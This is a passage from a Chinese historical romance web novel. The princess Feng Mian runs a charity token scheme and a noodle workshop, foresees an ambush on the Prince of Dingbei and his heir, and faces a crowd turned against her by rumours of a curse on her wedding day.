哀求声渐远,封眠看向王妃,“王妃,我还有一事相求。” “但说无妨!” 封眠看向院中的吴婶和槐花,道:“吴婶和槐花实属无辜,还望王妃莫要因他们与吴买办的亲缘关系而迁怒,也忘王妃能助吴买办与吴婶和离。” 槐花听了欣喜地握住了吴婶的手,吴婶怔了片刻,看看女儿,又想到方才发生的闹剧,终于是点了点头:“对,和离,我要跟他和离!” 她委曲求全了半辈子,为的不过是女儿,如今吴买办这样对她的女儿,她女儿又如此有出息,她怎能拖女儿的后腿? 她泪汪汪地与槐花道歉:“方才是娘错了,娘不该劝你认罪,是娘委屈了你。” 槐花又哭又笑地说不出话来,日后,她与阿娘总算是自由了! “自然。如此败类,怎配为人夫为人父?你放心,此事必定办得妥妥帖帖。” 封眠与王妃相视一笑,看向院中相拥而泣的母女二人。 总算,她们不必再在泥潭中挣扎余生了。 第26章 长街上人声鼎沸,叫卖声此起彼伏。 热闹的背景中,一名穿着粗布衣群的妇人在回春堂前徘徊,眼睛盯着回春堂匾额下新挂出来的木牌子看了好半晌。 木牌上刻着一个篆体的“封”字。 妇人攥了攥手心里的一个物件,深呼吸为自己打了打气,才拎起裙角,怯生生地上前迈过了门槛。 柜台后正称药的伙计手上忙碌着,不忘抬头冲来客露出一个笑脸,朗声问:“娘子买药还是看病?” 妇人也扯开嘴角回了一个紧张的笑,她上前两步走到柜台边,把手心里紧紧攥着的东西递到伙计面前,嗫嚅着问:“请问,这个能用吗?” 她谨慎地措着词,问完也不敢看伙计的脸色,垂着眼盯着自己摊开的掌心,忐忑地等待着答复。 掌心上头静静躺着一枚铁制铭牌,上头刻着一个篆体的“封”字,其下是米粒大小的“周”字,旁边的编码刻着肆叁柒贰。 “能,当然能。”伙计态度登时恭敬起来,和颜悦色地解释,“您放心,郡主都已吩咐下来了,这铭牌凡是去挂了“封”字牌的铺子里头,都管用!” “我们回春堂与旁的铺子不同,持铭牌来看诊啊,不收您费用,抓药也只收您一半的费用。” 周家娘子闻言终于抬起了眼,眼底透着欣喜的亮光,“当真?那、那我先看诊!” “来,您这边请。”伙计将手中包好的药包搁到一旁,走出柜台,将人引向里头的问诊室。 周家娘子挺直了腰板从回春堂出来时,手上已拎了一串药包。刚走出两步,便被一群张望了半天的叔伯婶娘围住了,七嘴八舌地发问。 “咋样啊?真能用?” “没多收你钱吧?” “何止能用?”周家娘子脸上扬着笑,骄傲极了,将伙计说的那些话一字一句都转述了,又道,“他还说了,家中有老人小孩的也可以用,只要血亲未出三服,都能用!” “这么好?郡主也太心善了!” “以后咱们身上有点病痛,岂不是再不用硬撑着了?” 众人听了都喜上眉梢,不住口地夸了起来。已有那等不及的,揣着铁牌牌回家去接老人来看诊了。 周家娘子听得不住点头,她自生了娃之后,小腹便时时隐痛,想找郎中瞧一瞧,又心疼银子,觉得只是这么点小毛病,忍一忍便过去了,不值当特意花钱去瞧。 直到昨日自家夫君突然得了假,回家给了她这么一个铁牌牌,说是郡主特特赏的,持牌子去挂了“封”字牌的铺子,能折价两成! 她本是不信的,她夫君只不过是军营里再普通不过的一个小兵罢了,郡主怎会特意赏他这么好的东西? 但家中婆婆常年卧病,又到了要抓药的时候,但银钱着实紧张,她就想着去试着看看从回春堂抓药能不能比平日里便宜些,没想到竟是有意外之喜! 她自己苦熬了这些日子的病痛,大夫却说只是小毛病,吃两副药便能好了。药钱还不到她们一家子一整日的饭钱那么多! 她立时就给自己买了药,约了时间再带婆婆来看诊。 “那个,周家的,你这牌牌能不能借我们用用?”一个精神矍铄的老婆子忍不住了,她家中是个独孙,当初把小孙女卖去当丫鬟才凑够银子免了兵役,如今瞧着眼馋得很。 周家娘子脸色一冷,她们这群街坊最看不得张婆子这种卖孙女保孙子的行径,平日子都避着这一家人走,当下硬邦邦道:“这是郡主仁义,心疼我们各家儿郎为国守关,才为我们谋的福祉,不知自己私下里要贴补多少银钱,哪是给咱们随便占便宜的?咱们感念郡主恩德,得自觉地守规矩不是?” 周围人跟着附和,张婆子一脸讪讪地挎着菜篮子走了,心里不住嘀咕着周家娘子小气,那郡主也是个小气的,都是街坊邻居的,怎么还整这么多规矩?郡主那么多家铺子那么多钱,给她们这些小百姓花一花怎么了? 周家娘子回头看了一眼回春堂下坠着的“封”字木牌,心里热乎乎的,心想郡主可真是个好人,她能来北疆,真是她们这些百姓的福气,望她日后能平平安安,幸福康健。 折氏糕饼作坊内,封眠正随折夫人一同查看作坊内各种用具的成色。 折夫人梳着堕马髻,如云乌发间缀着十二支金累丝点翠花钿,左侧鬓边簪一朵碗口大的姚黄通草花,与水绿色西番花纹十二幅湘裙相得益彰,透着股明媚张扬的劲儿。 她眼眸中常含着春水般的笑意,说话时不紧不慢,咬字温软,“这作坊才开了不足一月,工具都是崭新的,郡主若是需要呢,也不必额外给钱,我做主,送给郡主当个添头。” 封眠知道折夫人这个面子是给王妃的。 王妃听她说了办作坊的主意后,便替她悄悄联系了这位云中郡商会的会长夫人。折夫人一听说此事急着办,便从自己名下拨了个不怎么赚钱的小作坊出来,一用工具齐全,将人员码齐便可以直接将汤饼作坊开起来了。 封眠心下感念折夫人的好意,也不还价,当即弯眼一笑,“那便多谢夫人慷慨了。” 忽地颊上一热,折夫人捏了捏她的脸颊,凑近的艳冶眉眼间透着看乖孩子般的喜爱,“难怪王妃这般上心地催我,我若有个郡主这般讨人喜欢的儿媳,自也是要宠道天上去的。” 封眠懵了一瞬,没忍住笑开了,皎美的眉眼愈发甜得像掺了蜜一般。 折夫人越瞧越欢喜,牵着人往前厅去,“走,签文书去,我再给你便宜一成!” 封眠这下可是当真笑得见牙不见眼了。 待签好了转让作坊的文书,封眠又问了问原先在作坊的工人去了何处。 折夫人知道她是担心作坊关了,原本工人的生计会受影响,心下对她更多了几分喜欢,“不必为他们担心,我名下的作坊铺子都还多着,他们丢不了活计。对了,你这作坊可招好工了?” 封眠摇摇头,作坊的员工满打满算也就槐花一个人呢。“眼下会做这即食汤饼的只有一个小丫头, 我想招些女子,这样与她也好相处些。只是不知北疆的商铺可有什么规矩?” “这倒没什么特别的规矩。不过多数作坊涉及一些需要保密的秘方,便喜欢从人牙子手里买人。你若是需要,我可以为你介绍一位阿婆。”见封眠蹙眉,折夫人补充道,“放心,是官牙,手上的人都清白得很。” 封眠的眉心这才舒展,答应明日随她一同去看看。 离开时方近晌午,封眠坐在回王府的马车上,掀起帘络向外看,恰好瞧见两人携手进了坠着“封”字牌的绸缎铺,颇欣慰地笑了起来。 看来这场与云中郡百姓之间没有硝烟的战斗,已初步获得了胜利呀。 一旁流萤忽然拽了拽她,往外头一指,“郡主你瞧,那不是元姑娘吗?怎么有个人鬼鬼祟祟地跟着她!” 封眠定睛一瞧,果真看见了元寄雪纤细的身影,她拐进了街边一条小巷,身后一名男子贼头贼脑地跟了进去。 “停车!”封眠急忙起身下马车,“快跟上去看看。” 虽是光天化日之下,但一个行踪鬼祟的男人跟着一名少女拐进小巷子里,怎么看怎么不安好心啊! 封眠叫上了一名侍卫跟着,尾随着那名尾随元寄雪的男子拐进了小巷子。 狭窄的小巷仅容两人并排通行,青砖地面坑洼不平,越往前走,巷子越是寂静,外头街上的熙攘声尽数淡去,仅听得见紧张的呼吸和脚步声。 眼见着走到了巷子尽头,那男子加快了脚步,似乎想上前对元寄雪动手,封眠一个眼神递过去,侍卫便箭步冲向前,一个擒拿将人拧住胳膊推到墙上摁住。 那人只来得及发出一声短促的尖叫,便嘎巴昏过去了。 前头的元寄雪听见动静回头,大惊失色地跑回来,“阿兄!” 阿兄?! 封眠与那动手的侍卫面面相觑。 侍卫缓缓松开制住元家阿兄的手,无辜地摊了摊手,“属下真的没用力……” 天晓得他只用了二成的力,也没将这人的脑袋往墙上砸,怎的就晕过去了?! 封眠招招手让侍卫躲回自己身后,自己则走向元寄雪,小心翼翼出声问道:“元姑娘,这是你阿兄?” 元寄雪正给脸朝地瘫软在地的元家阿兄把脉,闻言抬头才发现,方才痛击自家阿兄的居然是郡主一行人。 “郡主?您怎么在这儿?” 封眠便将在马车上瞧见有男子鬼鬼祟祟跟踪她,担心她遇险的事说了。 封眠心中纳闷得很,元寄雪为何一个人悄悄来这样一条偏僻的小巷?元家阿兄为何又要偷偷摸摸尾随,一副要干坏事的模样? 元寄雪仿佛看穿了她心底的疑问一般,自顾解释道:“这是我阿兄,单名一个亮字。我来此是……” 她话还未说完,小巷尽头一扇紧闭的木门被自内打开了,一位满头银发的阿婆摸索着门边向外探头,双目无神,空茫地落在巷子里,“元姑娘?是你来了吗?” “何阿婆您慢些。”元寄雪将元亮的手往地上一丢,急忙起身去扶住何阿婆。她有些为难地看向巷子,对何阿婆低声道:“阿婆您在这儿稍等我一下。” 元寄雪走到封眠面前,回望一眼身后的何阿婆,接着之前未完的话音继续道:“我来这里是为了给何阿婆看病,她年纪大了,眼睛看不见,腿脚也不好,不便寻医。家中是不许我在外行医的,阿兄应该是担心我,所以才偷偷跟随。” 她说着向封眠福了一礼,“我还要为何阿婆看诊,能否麻烦郡主帮我将阿兄送回去?” 封眠自是不能拒绝,毕竟还是她的人将元亮打晕在地的。 元寄雪放心地扶着何阿婆回了屋,封眠则示意侍卫将元亮扛回马车,横摆在车夫身后。 离开时,封眠撩开帘络看了一眼巷口,心头还萦绕着淡淡的疑惑。 方才元亮那贼眉鼠眼的样子,实在不像是在担心妹妹。元寄雪除了一开始冲过来给他把脉,后头为了去扶何阿婆,将他的手随便一丢,也不像是真担心这个哥哥。 这兄妹二人,真是奇怪。 第27章 马车停到了王府门口,侍卫刚扛起还在昏迷的元亮,正要将人送去隔壁的元府,便听到一声男人响亮的尖叫。 侍卫被唬得一抖,险些将手里的人丢出去,一扭头便看见褚景淇手持折扇惊恐地捂嘴,眼睛眨也不咋地瞪着他肩头的男人。 他正要行礼,便被褚景淇一把拽过,摁到了马车侧面,整个人夹在王府大门与马车中间,懵然地看着褚景淇左右瞧瞧,做贼似的吩咐他:“你站在此地不要走动。” 然后一撩袍子就翻上了马车,独留侍卫一人站在原地,与褚景淇的随从墨松大眼瞪小眼,不知自己是该听郡主的话速去送人,还是听小侯爷的话在此等候。 马车内,封眠正要下车,却见褚景淇忽然一个箭步翻了进来,并一把将她摁回座位。 “九哥?你怎么来了?” 褚景淇严肃地盯着封眠,“你糊涂啊!” 封眠:? 封眠一头雾水:“怎么了?” 褚景淇痛心疾首:“你若嫌弃那百里浔舟,待婚后搬去郡主府,与他谁也不打扰谁,再蓄面首,没谁能说你什么。可你怎么能……” 他说着抬抬下巴向外一指,语带恨铁不成钢之意:“怎么能在婚前,将人就这么打晕了带到王府前头来了?被人瞧见了要如何传你?你真是在宫里头被养傻了!” 封眠这才意识到他在说什么,顿时乐不可支,急得褚景淇拿折扇怕了她肩头两下:“你还笑!北疆民风再开放,女子也逃不脱三从四德温良恭俭,你日后还不知要在北疆生活多少时日,这些流言蜚语道德审判,杀不死你也能让你脱层皮。” “你仔细瞧瞧外头那人,我便是真挑面首,能看得上他吗?” 封眠好笑之余,也因褚景淇这般贴心关切而感到心头一暖。他们往日一年也差不多只能见一面,也说不上几句话,但在这处处陌生的北疆,他却是她最亲近的血亲,还这般真心为她着想,着实让她有些感动。 眼看得他急得要跳脚了,封眠急忙解释了缘由,才终于捋平了褚景淇眉间的褶皱。 “不过,回来的这一路上,他都躺在车辕上,路上的行人都瞧见了,影响大吗?” 刚松了口气的褚景淇眼前一黑:“世人最爱看图说话,外头现在说不得已经传起谣言来了。” 他一眨巴眼,折扇在掌心一拍,一个主意浮现心头。 “你在车上等着别下来,我去送人!” 褚景淇话音未落,人已经窜出马车了,封眠好奇地掀起帘络一角向外张望。 褚景淇带上封眠的侍卫,大张旗鼓地跑到了元府大门口。 他那随从墨松不知从何处借了个锣鼓来,在元府门口咣当咣当敲了两下,引得路过的百姓里三层外三层围了过来。 元府的下人一脸懵地打开门,迎面便被人砸了个自家少爷回来。 褚景淇超大声地喊:“你们少爷在外头晕倒了,我和我家妹子好心,现下将他送回来了。你们自己验一验啊,人可是全须全尾的没毛病啊,回头他要是出点什么事,可别赖上我们!” 墨松敲着锣从围观群众面前晃过去,敲一下念一句:“乡亲邻居们都听清楚了啊,我家小侯爷和郡主好心将晕倒的元少爷送回府上,元少爷全须全尾没受伤,平平安安到家了啊!” 围观群众交头接耳,显然是将话听进去了。 “小侯爷这是不是就叫先发制人啊?”流萤挤在封眠旁边看得目不转睛,惊叹道,“这下便是有人针对您传谣,也盖不住他这会儿闹出来的动静。大家都会觉得是您和小侯爷一起把人弄回来的。” 封眠望着正指导元府小厮检查元亮有无外伤的褚景淇,忍俊不禁:“他这么大吹大擂一通,什么谣言都能散了。” 她这九哥平日里惯好吃喝玩乐,舅舅提起他总要头疼他事事无成,但如今看来,九哥也是很有些长处在身上的。 那头褚景淇已顺利与元府小厮完成了交接,带着人大摇大摆地回到 马车前,折扇一挑帘络,冲封眠笑得得意,“小表妹,事儿办好了,请回府吧。” “所以九哥你今日怎会过来?”封眠将褚景淇带回雪月居,为表谢意,亲自给他泡了壶茶。 褚景淇大咧咧往椅子上一瘫,正接过封眠递来的茶喝着,闻言搁下茶盏,从怀中摸出一沓子银票拍到桌上,“听说你要搞个汤饼作坊,我想来与你合股,如何?” “当真?我可是有要求的。”封眠有些心动,褚景淇父亲毕竟掌着朔北路转运使一职,她要想将即食汤饼推作军粮,总是要去谈一番合作的,没想到褚景淇倒是自己送上门来了。 “不用说我也知道,无非是必须得低价供给军需嘛,这个我懂的。你放心,我爹那边我去谈!陛下那边……?”褚景淇还是有些怵自己这位皇伯伯,但这么大的事总得上达天听才行。 “我会在家书中写明。”封眠笑道,待大婚之后,她便会遣人快马加鞭送信回京,“争取早日将作坊开遍边关。” 褚景淇大喜:“我也是这般想的!跑腿的事你放心,都交给九哥我来办!” 封眠乐得省心,拿起桌上的银票,“那我们谈谈契书……” “这个不急,我还有件事要与你说!”褚景淇忽地坐正了,挥挥手屏退左右,一副有大事的样子。 “这是又出什么事了?”今日他这副严肃神色都摆出来两回了。 “你可知道,百里浔舟那小子又出城去了?”褚景淇像是怕王府中隔墙有耳,凑到封眠面前压低了声音问道。 封眠点点头。一早她出门前,便有铺子的小厮过来告知过了。百里浔舟天刚亮,便率几百疾羽营的人出了城门。 “你知道还不着急?”褚景淇瞪大了眼睛,他的五官都生得钝圆,是一种全无攻击力的俊俏,“我听闻是北边的寒鸦关起了烽火,他这一去,万一赶不及回来与你成婚可如何是好?” “可我也不能为了成婚,便拦着他,不许他去上战场吧?”封眠无奈,那已不能算是无理取闹,可以上升到扰乱军务的高度了。 褚景淇一噎,他纯纯从封眠的利弊得失上出发,脑子里完全缺了那根弦儿,兀自嘀咕着:“这婚事要是不成,百里那儿再出点问题,你可就麻烦了。” “你可知,你那孤星照命,刑克六亲的命理之说,已传到北疆来了?” 封眠一怔:“何处传的?” 她并没有听说这种消息。 褚景淇大咧咧道:“在花楼里。这种地方的消息一时传不到你耳中也正常,但花楼鱼龙混杂,消息传开的速度和范围,可把控不住。” 封眠顿时不解,嘉裕帝自然想得到若是她的命理之说被传出去,于她而言百害而无一利,所以一赐婚,便下了封口令。况且除了宫里的一些人,此番随她一同来北疆的侍从中,应该都不知道这件事。 在北疆传这些消息,又有什么好处? “若是北疆百姓都听了这说法,百里浔舟此番再有什么意外,你有嘴都说不清。你们这桩婚事能不能成,可就悬了。” 对啊,流言发酵到令民心浮动,或许便能阻止她与百里浔舟成婚。 封眠忽然想到狼骨岭那场针对她而来的劫道,难道真的有人想从中破坏这桩婚事? 思绪不过闪念而过,再抬眼时,封眠已然敛了情绪,“我会注意此事的,多谢九哥提醒。” “眼下我们还是先来谈谈契书……” “你自己拟完了遣人送给我就行。”褚景淇已坐不住了,他行程排得紧,在王府耽搁半天要赶不及赴约了,“我要去听新上的折子戏了,再晚就听不见开场了。走了啊!” 他对自家小表妹放心得很,尾音尚拖着,人已经脚底抹油地跑没影了。独留封眠拿着一沓银票坐在原地呆呆地目送他。 摇摇头,封眠将银票收起来,唤来流萤,让她去给陆鸣竹传个话。 “我吗?” 铁匠铺的角落里,陆鸣竹顶着围观铁匠鼓风时被扑上的满脸煤灰,不敢置信地指了指自己,左右看看,见无人注意,才用气音问道:“郡主让我去、去花楼打听消息?” 雾柳点头,“郡主说,她只信得过您了。陆大人您胆大心细,又常有奇遇,或许就能找到传话的源头,一解郡主心中之惑。” 陆鸣竹听得耳热,忙不迭地应下了。 他一定尽己所能,揪出背后传谣之人! 雾柳又笑眯眯地补充道:“郡主说了此事可不必太急,陆大人先紧着手头的事忙活,待郡主与世子殿下大婚之后再查不迟。” 陆鸣竹一怔,这才想起来郡主与世子大婚在即。不知为何,他觉得自己胃里像塞了团湿布一样,沉甸甸湿漉漉还有点难受。 他想着百里浔舟对郡主那不假辞色的样子,觉得自己定是在为郡主不平,郡主这般好的一个姑娘家,怎么偏偏就嫁了世子这样一个不懂得珍惜爱护她的人呢? 第28章 绢绘四季花鸟的八角宫灯点亮了王府的夜色,空荡冷清的膳厅内,只有封眠与王妃二人比邻而坐。 王妃自一碗冒着热气的寿面中捞出一半盛到小碗里,再将小碗端到封眠面前,“今日是阿琢的生辰,他不在,这碗长寿面,咱们便给他分了吧。” “那我可有福气啦。”封眠眉眼带笑地接过那一小碗寿面,上面还卧着一颗金黄的蛋。 她执筷夹起几缕雪白的寿面,一口咬下去,满足地眯起了眼,待咽下一口后便忙不迭地夸赞:“好吃!这味道与我从前吃过的长寿面不一样,是不是府上厨子的秘方?” 王妃面上满是温柔的笑意,见封眠吃得开心,她也愈发开怀,“是秘方不错,不过并非厨子的,而是我家中祖传的秘方。” 封眠两手捧着碗,难得有些傻乎乎地看着王妃,“这是您亲手做的呀?” “我未出阁时,每到生辰,母亲便做这样一碗长寿面予我。母亲年幼时,便是外祖母做予她吃。”王妃的眼神飘忽着,含着怀念的笑意,仿佛已经陷入了温暖的回忆中,“后来我嫁人生子,便将这碗寿面做给我的夫君和儿子吃。” “只是他们常常在外征战,过生辰时总不在家中。已经有许多年,这碗面都是我一人吃了。”王妃说着,敛去怅然之色,浅笑着看向封眠,“今日还好有你陪着我。” 王妃与普天之下任何一个妻子与母亲一样,每当丈夫披甲出征,儿子执戈远行,便难免终日悬心,寝食难安。 只是往日里,这些愁绪她从不与外人言,便是对丈夫与儿子也是只字不提,总将千般忧虑、万种牵挂,尽数咽下,挂起温柔的笑颜送他们离家,不愿让他们在外征战时,还惦念着她的情绪。 如今府上多了一个封眠,她总算有了可以倾诉一二的人。看着封眠一边吃寿面,一边专心听她说话,乌黑圆润的眼瞳落在她身上时,她便觉心中有了一处安定的地方,惶惑惴惴的心略为宁静了些许。 听王妃说着她的愁绪,让封眠不由想到了自己的父亲。 她自出生起便被抱到了宫里,直到四岁时才第一次与身为镇国大将军的父亲见面。在得知父亲即将要再次出征时,年幼的她还尚不能完全理解"出征"二字的含义,只知自己又要与父亲分开了,很是哭闹了一通。 后来她知道了将军出征百战死,却没再哭闹过,只每晚躺在床上默默祈祷父亲平安回来,再与她见一面。可后来传来的却是噩耗。 那次之后,她便认为神明不会垂怜凡人的祈愿,天命既定,终究无力回天。 后来才明白,这世间没有有什么既定的命运,都是靠自己拼出一条生路! 不知是不是与王妃的谈话,让封眠感染了些许对百里浔舟的担忧,当晚她又梦见了一段史书所载。 “承平十六年夏初,北夷犯边,定北王率世子驰援寒鸦关。夷人驱边民为饵,诱世子于落鹰峡,断山绝路。定 北王闻变,率兵往援,途中遇伏。王知中计,然救子心切,乃单骑陷阵,终为乱箭所殁。” “世子负创浴血,突围堕马,伏尸堆中三日,几近气绝。” 惊醒时,天边方透鱼肚白。 封眠不待呼吸平复便掀开被子下地,连鞋都未来得及穿,语气急促地扬声喊人:“流萤,雾柳!” 候在寝间外侧的流萤和雾柳急急忙忙冲了进来,“郡主?” 雾柳眼尖瞧见封眠赤脚踩在地上,忙去榻边取了睡鞋过来替封眠穿上。 封眠一手扶住流萤,下意识地任雾柳动作着,脑中尚有些混沌,吩咐道:“速速去将陆指挥使请来,快去!” 流萤被她这副急切的模样吓到了,囫囵应了一声,便顺着她推开自己的力道向外拔足奔去。 封眠忽地又扬声:“让他来时,去疾羽营寻一个熟知落鹰峡地形的士卒来!” “奴婢记下了!”流萤的声音遥遥传来,随脚步声远去了。 雾柳起身扶住封眠,柔声安抚:“郡主可是被梦魇着了?您先坐下,奴婢去请侍医来……” 封眠一把抓住雾柳准备抽离的手,摇了摇头,“别惊动任何人……” 她顿了顿,忽又改了主意,“帮我梳妆,我要去见王妃。” 封眠本想瞒着王妃,派鸾仪卫去一趟寒鸦关,但她转念想到连定北王和百里浔舟都会陷落之地,地势险峻必然非她所能想象,而鸾仪卫的作战实力定然不如北疆这些真刀真枪拼杀出来的将士们,若想迅速而顺利地将定北王和百里浔舟救出来,必须有北疆将士的支援。 如今王爷和世子都不在,她也没有那个能力说动将士们。能调动他们的,或许只有王妃了。 如今只希望王妃能够相信她的“做梦”之言。 出乎封眠意料的,无需她多做解释,王妃便答应去军营调兵。 “昨夜我也不知为何心慌气短,一整晚都没睡好。”王妃眼下有着淡淡的青黑之色,唇角苦涩地一抿,“你既梦得这般详细,便宁可信其有。来日若追究擅调兵马之责,我一人承担!” “我定与王妃共进退。”封眠握紧了王妃的手,目光坚定道,“还请王妃先将寒鸦关舆图取来,我想试着推演一番王爷与世子遇险的地方。” 她只知百里浔舟是在落鹰峡被困,王爷又是在何处被设伏? 日头攀升,封眠压下心中焦躁,将案上舆图展开,寒鸦关一带的山川地势尽数呈现于眼前。 她执笔蘸朱砂,先在落鹰峡处重重一圈,如一滴血落在了险峻的山势之间。 两山夹峙,峭壁如削,一旦归路被断,便是插翅难飞。 能冒险入内救援的,唯有东北侧的沉山谷与西面的断云涧两条窄路。 王爷和世子在寒鸦关时应该就已兵分两路,世子刚被困,王爷便即刻驰援,两军相距定然不远…… “这附近能藏下上百名伏兵的有哪几处?”封眠看向立在案边的一名穿疾羽营甲胄的士卒。 巧的是,陆指挥使喊来的这位熟知落鹰峡地形的士卒正是王二。 王二望着舆图细细回想,接过封眠悬于图纸之上的笔,陡然在断云涧旁的山坳处画了一个圈。 “此地山势回环,入口隐蔽,若北夷设伏,定会选在此处。” “好。那你们兵分两路,一路从沉山谷去救世子,一路往断云涧去寻王爷。务必将他们平安带回。” “是,郡主!” 王二应得干脆,他心眼直,见王妃在侧,根本想不到疑惑一下郡主是如何知道王爷和世子遇险的,满心皆是担忧,只想着“那必须赶快将王爷和世子救回来啊!”。 鸾仪卫的陆指挥使却是久居盛京,心眼子颇多,他都快被疑惑淹没了。 可一来定北军被称为“北疆铁壁”,他从未想过自己有朝一日竟能担得起驰援定北军的职责,二来若当真顺利施救,论功行赏,怕是足够换下半辈子的荣华富贵了。 他的野心和胆气不足以让他投身定北军,将性命压在刀尖上换取军功,但搏一搏便能享半生无虞,这番机遇可不是什么时候都能碰上的,他自然愿赌上一把,冒险一试! 待王妃离府去安排调兵事宜,封眠才终于算是冷静了些许。 她坐于满地日光之中,仍觉周身发冷,脑海中翻涌的思绪争先恐后地挤出来。 她无意识地用指尖轻叩桌面,耳边听着清脆的敲击声,从思绪中抽出最重要的几条。 若定北王当真死于此役,百里浔舟便应承袭定北王的爵位。可为何她在盛京做的梦中,他仍是定北王世子?爵位迟迟未袭,是朝中有人阻挠,还是……另有隐情? 会不会跟他日后行谋逆之举有关? 还有花楼中的流言,将她“孤星照命,刑克六亲”的批命四处传播,若定北王战死,世子重伤,只怕不日便会有人借此大做文章,将这“克夫克父”的罪名扣在她头上。 她闭了闭眼,压下心头烦躁,转而去见了陆鸣竹。 去花楼一事,恐怕要提前了。 彼时落鹰岭,高悬的日头自落鹰岭嶙峋的山脊处折射出耀目的光。 百里浔舟手执长枪,勒马立于高处,望见数十名衣衫褴褛的边民被乌赫族打扮的北夷兵卒驱赶着入谷。 前哨探子小跑到百里浔舟面前:“报,谷中敌兵不足百人,都是轻骑,未着甲胄。” 百里浔舟无意识地摩挲着长枪枪身。 最初寒鸦关也只报了不到千余人偷袭,他与父亲本打算速战速决,回府陪母亲吃寿面,却被迫分了兵力。他已觉不对,如今见此情景,心中疑虑更深。 但眼见老幼妇孺哭嚎着被逼入绝壁,他终究还是抬手下令:“赵参将率半数人马留守谷口,其余随我救人。” “属下领命!” 一行铁骑如利剑般冲入峡谷,插入驱赶边民的乌赫族兵卒之中的刹那,异变陡生。 两侧山崖突然竖起黑压压的旌旗,滚木礌石砸落,截断了归路。 百里浔舟猛拽缰绳,战马人立而起,长枪挑飞一名敌兵,护住身旁幼童。 “结阵,先护百姓!” 铁骑闻令而动,瞬息间结成圆阵,将惊惶的边民围护其中。 金铁交鸣之声顿时不绝于耳。 寒风凛冽的峡谷深处,血色浸透了百里浔舟的战袍,天边残阳投下悲凉惨烈的一瞥。 飞溅的血糊在他的眼皮上,将面前的一切都染上了深重的血色。 意识混沌之际,他脑海中不知怎的浮现出封眠的音容。 ……不能死在这里。 他咬紧牙关,强撑着一口气,握紧长枪。 他们之间的婚事并未取消,婚期在即,他总不能将郡主一个人丢在婚礼上,被满堂宾客讥诮议论。 他不想再对郡主说抱歉了。 第29章 暮色四合,瓦舍中正是最热闹的时候。 今日无戏,说书人占了一楼中央的戏台,要讲世子爷十四岁那年,在北夷阿尔纳部兵临城下之际,孤身率三千轻骑大破阿尔纳部两万大军的故事。 虽然云中郡的百姓都已会背这桩往事了,瓦舍内仍是座无虚席,众人纷纷携家带口地来再次重温世子爷的成名一战,找不到座位便站着,挨挨挤挤地将戏台围了个水泄不通。 醒木方拍,便听“砰”一声巨响,有人跌跌撞撞地闯进瓦舍,一头撞在了门板上。 众人先是一愣,接着哄然笑起来,离得近的去将撞得晕头转向的人扶起来,“喝多了吧?” 说书人玩笑道:“便是急着听咱们世子爷大杀四方,也不必先将自己‘献祭’了去呀!” 却见那磕得脑门儿红肿的男子握着身旁人的手,颤颤巍巍站直,眼眶通红泪如雨下,哽咽着报道:“王爷、王爷战死了!世子爷重伤,正在扶棺回来的路上!” 空气忽地一窒,众人脸上未落的笑意僵住,看着男子的目光仿佛在看一出荒诞的闹剧。 有人当先拍桌而起,粗陶碗内溅出的浊酒洒了满身,怒骂道:“放你娘的狗屁!” 不愿相信的声音迭起层出。 “胡说八道!定北王可是咱们北疆的天,天怎么能塌呢!” “世子爷十四岁起就再没有败绩,你编瞎话之前也不去查查?” 然而男子丝毫不在意众人的反驳谩骂,兀自蜷身大哭了起来。 哭声沉甸甸地压在瓦舍上空,顿如阴云凌空一般,整个瓦舍的气氛都为之一悲。 众人在这哀哀戚戚的哭声之中逐渐心生慌乱,这时名叫阿好的少年从外头闯了进来,他脸色惨白,大口地喘着气,冷汗涔涔自额角滑落,不等气喘匀便急道:“我方才在城门口,怎么好像听人说,王爷战死了,世子也重伤……” 他仓皇的目扫过瓦舍内众人的面庞,每一个人都呆若木鸡,一切声响都被逐渐弥漫开的悲哀气氛所吞噬。 有那眼眶浅的,终于忍不住呜呜咽咽地落下泪来,压抑的啜泣声连成一片。 在有人悲号出声时,二楼半卷的竹帘被人拽落,喝得满脸通红的中年男子砸了手中的酒坛子,浑浊的双目中射出仇恨的光,嚷嚷道:“是郡主!都是那个女人的错!” “我昨儿在花楼吃酒,听见他们说郡主是‘孤星照命,刑克六亲’的命,这才被圣上一道圣旨发配到了北疆来。”男子摇摇晃晃得已站不稳,双手激动地拍着栏杆,言辞切切,“我先前还不信,如今想来,定是她克碍了王爷和世子爷!定是她!” 窃窃私语顿时如蚊鸣般嗡嗡响起。 “说得有理啊,否则为什么这么多年王爷和世子都顺顺当当的,她一来就出事了?” “还是赶在婚期前一天出事,这是天意!” 人群中的周家娘子神色犹豫,她亦红着眼眶,为听闻的噩耗而悲伤难以自持,却也不想将一切怪罪在郡主身上,“郡主从未做过坏事,还为将士们很是谋了些福祉,王爷和世子爷出事,你们不去怪那些动手的北夷人,为何要怪在一个年轻的小女娘身上?” 然而质疑愤恨的种子已经播下,又有人着意挑拨,愿意相信是郡主命硬克亲的人远远多于不信的人,这一消息转瞬便传遍了云中郡。 瓦舍一角的赌桌前,设下赌局的庄家将“世子与郡主婚事能成”处下押的赌注,尽数挪到了“不成”那一边,“这婚事,绝不能成!” “王妃您应立即出面,叫停这桩婚事呀!” 王府内,吴管事在王妃面前使劲儿上眼药。他在王府勤勤恳恳多年,才提拔了一个自家人做买办,转眼就叫郡主给赶走了。虽说是吴买办自己不争气,但他还是怨恼郡主当众戳穿吴买办做下的蠢事,让他跟着脸上无光,心底对郡主颇有些不满。 王妃对他置之不理,满心惦记着封眠此时的心情会不会受影响。她自始至终都相信封眠,她相信她们派出去的兵力定能将王爷和阿琢救回来,谣言定会被破除,但她不知道他们何时会回来。 作为王妃,她自然不能取消明日的婚礼,否则百姓便会认定她也相信了命理之说。可若明日阿琢他们不能回来,群情激愤的百姓会不会对封眠做出不当之事? 思来想去,王妃终是坐不住了,急急起身去吩咐府上的护卫,让他们翌日早些随自己去郡主府迎亲。 不管阿琢回不回得来,郡主得平安接回来!阿琢既不在,她这个母亲便代他走一趟,想来百姓们便是再激愤,也不会对王妃动手。 翌日申时,吉时到,迎亲队伍未至。 留守在郡主身边的十几名鸾仪卫,持剑护卫着朱漆描金喜轿出了郡主府,方行上主街,便被四面八方涌来的百姓们拦住了。 他们忙碌了一夜赶制孝服,将主街挂上素白麻布,商铺檐下的红灯笼皆被换成了白纸糊的灯笼。天地一片白之中,唯有喜轿是刺目的红。 百姓们皆身披缟素,满目通红地瞪着喜轿。 纸钱飘飘扬扬地洒向送亲队伍,有些黏在轿顶描金的丹凤朝阳的图样上,显得格外晦气不洁。 “滚回你的盛京去!” “别来害我们世子!” 百姓们纷纷叱骂着,其间夹杂着呜咽哭喊。 